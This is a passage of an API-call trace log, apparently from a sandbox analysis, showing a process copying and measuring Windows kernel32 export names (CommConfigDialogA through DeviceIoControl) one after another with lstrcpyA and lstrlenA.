returned="CommConfigDialogA" [0053.905] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0053.905] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0053.905] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0053.905] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0053.905] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0053.905] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0053.905] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0053.905] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0053.905] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0053.905] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0053.905] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0053.905] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0053.905] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0053.905] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0053.905] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0053.905] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0053.905] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0053.905] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0053.905] lstrlenA (lpString="COPYCONTEXT") returned 11 [0053.905] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0053.906] lstrlenA (lpString="COPYFILEA") returned 9 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0053.906] lstrlenA (lpString="COPYFILEEXA") returned 11 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0053.906] lstrlenA (lpString="COPYFILEEXW") returned 11 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0053.906] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0053.906] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0053.906] lstrlenA (lpString="COPYFILEW") returned 9 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0053.906] lstrlenA (lpString="COPYLZFILE") returned 10 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0053.906] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0053.906] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0053.906] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0053.906] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0053.906] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0053.906] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0053.906] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0053.906] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0053.906] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0053.906] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0053.906] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0053.906] lstrlenA (lpString="CREATEEVENTA") returned 12 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0053.906] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0053.906] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0053.906] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0053.906] lstrlenA (lpString="CREATEEVENTW") returned 12 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0053.907] lstrlenA (lpString="CREATEFIBER") returned 11 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0053.907] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0053.907] lstrlenA (lpString="CREATEFILEA") returned 11 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0053.907] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0053.907] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0053.907] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0053.907] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0053.907] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0053.907] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0053.907] lstrlenA (lpString="CREATEFILEW") returned 11 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0053.907] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0053.907] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0053.907] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0053.907] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0053.907] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0053.907] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0053.907] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0053.907] lstrlenA (lpString="CREATEJOBSET") returned 12 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0053.907] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0053.907] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0053.907] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0053.907] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0053.908] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0053.908] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0053.908] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0053.908] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0053.908] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0053.908] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0053.908] lstrlenA (lpString="CREATEPIPE") returned 10 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0053.908] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0053.908] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0053.908] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0053.908] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0053.908] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0053.908] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0053.908] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0053.908] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0053.908] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0053.908] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0053.908] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0053.908] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0053.909] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0053.909] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0053.909] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0053.909] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0053.909] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0053.909] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0053.909] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0053.909] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0053.909] lstrlenA (lpString="CREATETHREAD") returned 12 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0053.909] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0053.909] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0053.909] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0053.909] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0053.909] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0053.909] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0053.909] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0053.909] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0053.909] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0053.909] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0053.909] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0053.909] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0053.909] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0053.909] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0053.910] lstrlenA (lpString="CTRLROUTINE") returned 11 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0053.910] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0053.910] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0053.910] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0053.910] lstrlenA (lpString="DEBUGBREAK") returned 10 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0053.910] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0053.910] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0053.910] lstrlenA (lpString="DECODEPOINTER") returned 13 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0053.910] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0053.910] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0053.910] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0053.910] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0053.910] lstrlenA (lpString="DELETEATOM") returned 10 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0053.910] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0053.910] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0053.910] lstrlenA (lpString="DELETEFIBER") returned 11 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0053.910] lstrlenA (lpString="DELETEFILEA") returned 11 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0053.910] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0053.910] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0053.910] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0053.911] lstrlenA (lpString="DELETEFILEW") returned 11 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0053.911] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0053.911] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0053.911] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0053.911] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0053.911] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0053.911] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0053.911] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 